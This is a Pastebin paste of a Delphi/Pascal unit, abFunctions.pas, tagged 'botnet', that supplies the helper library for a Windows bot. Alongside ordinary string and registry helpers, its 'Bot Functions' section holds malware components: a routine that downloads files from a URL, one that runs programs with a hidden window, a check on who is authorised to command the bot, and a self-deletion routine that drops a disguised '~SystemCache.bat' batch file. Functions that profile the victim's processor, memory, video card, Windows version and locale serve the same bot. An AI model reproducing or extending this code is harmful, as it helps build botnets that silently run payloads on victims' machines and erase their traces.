Advertisement
FlyFar

abFunctions.pas

Dec 19th, 2023
820
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 11.78 KB | Cybersecurity | 0 0
  1. unit abFunctions;
  2.  
  3. interface
  4.   uses Windows, WinInet, ShFolder;
  5.  
  6. //String Functions
  7. function IntToStr(I: Integer): String;
  8. function StrToInt(S: String): Integer;
  9. function LowerCase(S: String): String;
  10. function MatchStrings(Str1, Str2: String): Boolean;
  11. function LeftStr(const AText: AnsiString; const ACount: Integer): AnsiString; overload;
  12. function RightStr(const AText: AnsiString; const ACount: Integer): AnsiString; overload;
  13. function TrimEx(S: String): String;
  14. function Split(Input: String; Deliminator: String; Index: Integer): String;
  15. function ReplaceString(S, OldPattern, NewPattern: String): String;
  16. function WildcardCompare(WildS, IstS: String): Boolean;
  17.  
  18. //System Information Functions
  19. function GetProcessorName(): String;
  20. function GetTotalRAM(): String;
  21. function GetVideoCard(): String;
  22. function GetUptime(): String;
  23. function GetAppDataPath(): String;
  24. function GetWinVersion(): String;
  25. function GetWinLang(): String;
  26.  
  27. //Bot Functions
  28. function Download(const fileURL, FileName: String): Boolean;
  29. function CheckAuthHost(AuthHost, RawData: String): Boolean;
  30. procedure DeleteSelf(MyPath: String);
  31. function FileExists(FileName: String): Boolean;
  32. procedure ExecuteFile(Path: String);
  33.  
  34. //Registry Functions
  35. procedure InsertRegValue(Root: HKey; Path, Value, Str: String);
  36. function ReadRegValue(Root: HKey; Path, Value, Default: String): String;
  37. procedure DeleteRegValue(Root: HKey; Path, Value: String);
  38.  
  39. implementation
  40. //////////////////////////////////////////////////////////
  41. //String Functions
  42. //////////////////////////////////////////////////////////
  43. function IntToStr(I: Integer): String;
  44. begin
  45.   Str(i, Result);
  46. end;
  47.  
  48. function StrToInt(S: String): Integer;
  49. begin
  50.   Val(S, Result, Result);
  51. end;
  52.  
  53. function LowerCase(S: String): String;
  54. var
  55.   I: Integer;
  56. begin
  57.   for I := 1 to Length(S) do S[I] := Char(CharLower(PChar(S[I])));
  58.   Result := S;
  59. end;
  60.  
  61. function MatchStrings(Str1, Str2: String): Boolean;
  62. begin
  63.  if LowerCase(Str1) = LowerCase(Str2) then Result := True else Result := False;
  64. end;
  65.  
  66. function LeftStr(const AText: AnsiString; const ACount: Integer): AnsiString; overload;
  67. begin
  68.   Result := Copy(AText, 1, ACount);
  69. end;
  70.  
  71. function RightStr(const AText: AnsiString; const ACount: Integer): AnsiString; overload;
  72. begin
  73.   Result := Copy(AText, Length(AText) - ACount + 1, Length(AText));
  74. end;
  75.  
  76. function TrimEx(S: String): String;
  77. var
  78.   I, Count: Integer;
  79. begin
  80.   I := Length(S);
  81.   Count:= 1;
  82.   repeat
  83.     if Copy(S, Count, 1) <> #0 then Result := Result + Copy(S, Count, 1);
  84.     Inc(Count)
  85.   until Count = I;
  86. end;
  87.  
  88. function Split(Input: String; Deliminator: String; Index: Integer): String;
  89. var
  90.   StringLoop, StringCount: Integer;
  91.   Buffer: String;
  92. begin
  93.   Buffer := '';
  94.   if Index < 1 then Exit;
  95.   StringCount := 0;
  96.   StringLoop := 1;
  97.   while (StringLoop <= Length(Input)) do
  98.   begin
  99.     if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
  100.     begin
  101.       Inc(StringLoop, Length(Deliminator) - 1);
  102.       Inc(StringCount);
  103.       if StringCount = Index then
  104.       begin
  105.         Result := Buffer;
  106.         Exit;
  107.       end
  108.       else
  109.       begin
  110.         Buffer := '';
  111.       end;
  112.     end
  113.     else
  114.     begin
  115.       Buffer := Buffer + Copy(Input, StringLoop, 1);
  116.     end;
  117.     Inc(StringLoop, 1);
  118.   end;
  119.   Inc(StringCount);
  120.   if StringCount < Index then Buffer := '';
  121.   Result := Buffer;
  122. end;
  123.  
  124. function ReplaceString(S, OldPattern, NewPattern: String): String;
  125. var
  126.   SearchStr, Patt, NewStr: string;
  127.   Offset: Integer;
  128. begin
  129.   SearchStr := S;
  130.   Patt := OldPattern;
  131.   NewStr := S;
  132.   Result := '';
  133.   while SearchStr <> '' do
  134.   begin
  135.     Offset := Pos(Patt, SearchStr);
  136.     if Offset = 0 then
  137.     begin
  138.       Result := Result + NewStr;
  139.       Break;
  140.     end;
  141.     Result := Result + Copy(NewStr, 1, Offset - 1) + NewPattern;
  142.     NewStr := Copy(NewStr, Offset + Length(OldPattern), MaxInt);
  143.     SearchStr := Copy(SearchStr, Offset + Length(Patt), MaxInt);
  144.   end;
  145. end;
  146.  
  147. function WildcardCompare(WildS, IstS: String): Boolean;
  148. var
  149.   I, J, L, P: Byte;
  150. begin
  151.   I := 1;
  152.   J := 1;
  153.   while (I <= Length(WildS)) do
  154.   begin
  155.     if WildS[I] = '*' then
  156.     begin
  157.       if I = Length(WildS) then
  158.       begin
  159.         Result := True;
  160.         Exit
  161.       end
  162.       else
  163.       begin
  164.         L := I + 1;
  165.         while (l < length(WildS)) and (WildS[l+1] <> '*') do Inc (l);
  166.         P := Pos(Copy(WildS, I + 1, L - I), IstS);
  167.         if P > 0 then J := P - 1
  168.         else
  169.         begin
  170.           Result := False;
  171.           Exit;
  172.         end;
  173.       end;
  174.     end
  175.     else
  176.     if (WildS[I] <> '?') and ((Length(IstS) < I) or (WildS[I] <> IstS[J])) then
  177.     begin
  178.       Result := False;
  179.         Exit
  180.     end;
  181.     Inc(I);
  182.     Inc(J);
  183.   end;
  184.   Result := (J > Length(IstS));
  185. end;
  186.  
  187. //////////////////////////////////////////////////////////
  188. //System Information Functions
  189. //////////////////////////////////////////////////////////
  190. function GetProcessorName(): String;
  191. const
  192.   Size: Integer = 2048;
  193. var
  194.   Temp: HKEY;
  195.   Speed: Integer;
  196. begin
  197.   RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 0, KEY_QUERY_VALUE, Temp);
  198.   RegQueryValueEx(Temp, '~MHz', nil, nil, @Speed, @Size);
  199.   RegCloseKey(Temp);
  200.   Result := ReadRegValue(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 'ProcessorNameString', 'Not Found') + ' - ' + IntToStr(Speed) + ' MHz';
  201. end;
  202.  
  203. function GetTotalRAM(): String;
  204. var
  205.   MemoryStatus: TMemoryStatus;
  206. begin
  207.   MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  208.   GlobalMemoryStatus(MemoryStatus);
  209.   Result := IntToStr(MemoryStatus.dwTotalPhys div 1048576) + 'MB';
  210. end;
  211.  
  212. function GetVideoCard(): String;
  213. var
  214.   Device: TDisplayDevice;
  215.   dwFlags, dwDevNum: DWORD;
  216.   Return: String;
  217. begin
  218.   Return := 'Not Found';
  219.   Device.cb := sizeof(Device);
  220.   dwFlags := 0;
  221.   dwDevNum := 0;
  222.   EnumDisplayDevices(nil, dwDevNum, Device, dwFlags);
  223.   Return := Device.DeviceString;
  224.   Result := Return;
  225. end;
  226.  
  227. function GetUptime(): String;
  228. var
  229.   Total: Integer;
  230. begin
  231.   Total := GetTickCount() div 1000;
  232.   Result := IntToStr(Total DIV 86400) + 'd ' + IntToStr((Total MOD 86400) DIV 3600) + 'h ' + IntToStr(((Total MOD 86400) MOD 3600) DIV 60) + 'm ' + IntToStr((((Total MOD 86400) MOD 3600) MOD 60) DIV 1) + 's';
  233. end;
  234.  
  235. function GetAppDataPath() : String;
  236. var
  237.   SHGetFolderPath :TSHGetFolderPath;
  238.   hFolderDLL : THandle;
  239. var
  240.   Buf: array[0..256] of Char;
  241. begin
  242.   hFolderDLL := LoadLibrary('SHFolder.dll');
  243.   try
  244.     SHGetFolderPath := nil;
  245.     if hFolderDLL <> 0 then @SHGetFolderPath := GetProcAddress(hFolderDLL, 'SHGetFolderPathA');
  246.     if Assigned(SHGetFolderPath) and (S_OK = SHGetFolderPath(0, CSIDL_APPDATA or CSIDL_FLAG_CREATE, 0, 0, Buf)) then
  247.     else
  248.     GetTempPath(Max_path, Buf);
  249.   finally
  250.     if hFolderDLL <> 0 then FreeLibrary(hFolderDLL);
  251.     Result := String(Buf) + '\';
  252.   end;
  253. end;
  254.  
  255. function GetWinVersion(): String;
  256. var
  257.   osVerInfo: TOSVersionInfo;
  258.   majorVersion, minorVersion: Integer;
  259. begin
  260.   Result := 'Unknown';
  261.   osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo) ;
  262.   if GetVersionEx(osVerInfo) then
  263.   begin
  264.     minorVersion := osVerInfo.dwMinorVersion;
  265.     majorVersion := osVerInfo.dwMajorVersion;
  266.     case osVerInfo.dwPlatformId of VER_PLATFORM_WIN32_NT:
  267.     begin
  268.       if majorVersion <= 4 then Result := 'WinNT'
  269.       else if (majorVersion = 5) and (minorVersion = 0) then Result := 'Win2000'
  270.       else if (majorVersion = 5) and (minorVersion = 1) then Result := 'WinXP'
  271.       else if (majorVersion = 5) and (minorVersion = 2) then Result := 'Win2003'
  272.       else if (majorVersion = 6) then Result := 'WinVista';
  273.     end;
  274.     VER_PLATFORM_WIN32_WINDOWS:
  275.     begin
  276.     if (majorVersion = 4) and (minorVersion = 0) then Result := 'Win95'
  277.       else if (majorVersion = 4) and (minorVersion = 10) then
  278.       begin
  279.           if osVerInfo.szCSDVersion[1] = 'A' then Result := 'Win98SE'
  280.         else
  281.           Result := 'Win98';
  282.         end
  283.       else if (majorVersion = 4) and (minorVersion = 90) then Result := 'WinME' else Result := 'Unknown';
  284.       end;
  285.     end;
  286.   end;
  287. end;
  288.  
  289. function GetWinLang(): String;
  290. var
  291.  Buffer: PChar;
  292.  Size: Integer;
  293. begin
  294.  Size := GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, nil, 0);
  295.  GetMem(Buffer, Size);
  296.  try
  297.   GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, Buffer, Size);
  298.   Result := String(Buffer);
  299.  finally
  300.   FreeMem(Buffer);
  301.  end;
  302. end;
  303.  
  304. //////////////////////////////////////////////////////////
  305. //Bot Functions
  306. //////////////////////////////////////////////////////////
  307. function Download(const fileURL, FileName: String): Boolean;
  308. const BufferSize = 1024;
  309. var
  310.   hSession, hURL: HInternet;
  311.   Buffer: array[1..BufferSize] of Byte;
  312.   BufferLen: DWord;
  313.   f: File;
  314. begin
  315.   Result := False;
  316.   hSession := InternetOpen(PChar('explorer'), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  317.   try
  318.     hURL := InternetOpenURL(hSession, PChar(fileURL), nil, 0, 0, 0);
  319.     try
  320.       AssignFile(f, FileName);
  321.       Rewrite(f,1);
  322.       repeat
  323.         InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
  324.         BlockWrite(f, Buffer, BufferLen)
  325.       until BufferLen = 0;
  326.       CloseFile(f);
  327.       Result := True;
  328.     finally
  329.       InternetCloseHandle(hURL)
  330.     end
  331.   finally
  332.     InternetCloseHandle(hSession)
  333.   end
  334. end;
  335.  
  336. function CheckAuthHost(AuthHost, RawData: String): Boolean;
  337. begin
  338.   Delete(RawData, 1, 1);
  339.   RawData := Copy(RawData, 1, Pos(' ', RawData));
  340.   if WildcardCompare(AuthHost, TrimEx(RawData)) then Result := True else Result := False;
  341. end;
  342.  
  343. procedure DeleteSelf(MyPath: String);
  344. var
  345.   BatchFile: TextFile;
  346. begin
  347.   AssignFile(BatchFile, GetAppDataPath + '~SystemCache.bat');
  348.   ReWrite(BatchFile);
  349.     WriteLn(BatchFile, ':try');
  350.     WriteLn(BatchFile, 'del "' + MyPath + '"');
  351.     WriteLn(BatchFile, 'if exist "' + MyPath + '" goto try');
  352.     WriteLn(BatchFile, 'del "' + GetAppDataPath + '~SystemCache.bat"' );
  353.   CloseFile(BatchFile);
  354.   ExecuteFile(GetAppDataPath + '~SystemCache.bat');
  355. end;
  356.  
  357. function FileExists(FileName: String): Boolean;
  358. var
  359.   hFile: THandle;
  360.   lpFindFileData: TWin32FindData;
  361. begin
  362.   Result := False;
  363.   hFile := FindFirstFile(PChar(FileName), lpFindFileData);
  364.   if hFile <> INVALID_HANDLE_VALUE then
  365.   begin
  366.     FindClose(hFile);
  367.     Result := True;
  368.   end;
  369. end;
  370.  
  371. procedure ExecuteFile(Path: String);
  372. var
  373.   PI: TProcessInformation;
  374.   SI: TStartupInfo;
  375. begin
  376.   FillChar(SI, SizeOf(SI), $00);
  377.   SI.dwFlags := STARTF_USESHOWWINDOW;
  378.   SI.wShowWindow := SW_HIDE;
  379.   if CreateProcess(nil, PChar(Path), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, SI, PI) then
  380.   begin
  381.     CloseHandle(PI.hThread);
  382.     CloseHandle(PI.hProcess);
  383.   end;
  384. end;
  385.  
  386. //////////////////////////////////////////////////////////
  387. //Registry Functions
  388. //////////////////////////////////////////////////////////
  389. procedure InsertRegValue(Root: HKey; Path, Value, Str: String);
  390. var
  391.   Key: HKey;
  392.   Size: Cardinal;
  393. begin
  394.   RegOpenKey(Root, PChar(Path), Key);
  395.   Size := Length(Str);
  396.   RegSetValueEx(Key, PChar(Value), 0, REG_SZ, @Str[1], Size);
  397.   RegCloseKey(Key);
  398. end;
  399.  
  400. function ReadRegValue(Root: HKey; Path, Value, Default: String): String;
  401. var
  402.   Key: HKey;
  403.   RegType: Integer;
  404.   DataSize: Integer;
  405. begin
  406.   Result := Default;
  407.   if (RegOpenKeyEx(Root, PChar(Path), 0, KEY_ALL_ACCESS, Key) = ERROR_SUCCESS) then
  408.   begin
  409.     if RegQueryValueEx(Key, PChar(Value), nil, @RegType, nil, @DataSize) = ERROR_SUCCESS then
  410.     begin
  411.       SetLength(Result, Datasize);
  412.       RegQueryValueEx(Key, PChar(Value), nil, @RegType, PByte(PChar(Result)), @DataSize);
  413.       SetLength(Result, Datasize - 1);
  414.     end;
  415.     RegCloseKey(Key);
  416.   end;
  417. end;
  418.  
  419. procedure DeleteRegValue(Root: HKey; Path, Value: String);
  420. var
  421.   Key: HKey;
  422. begin
  423.   RegOpenKey(ROOT, PChar(Path), Key);
  424.   RegDeleteValue(Key, PChar(Value));
  425.   RegCloseKey(Key);
  426. end;
  427.  
  428. end.
Tags: botnet
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement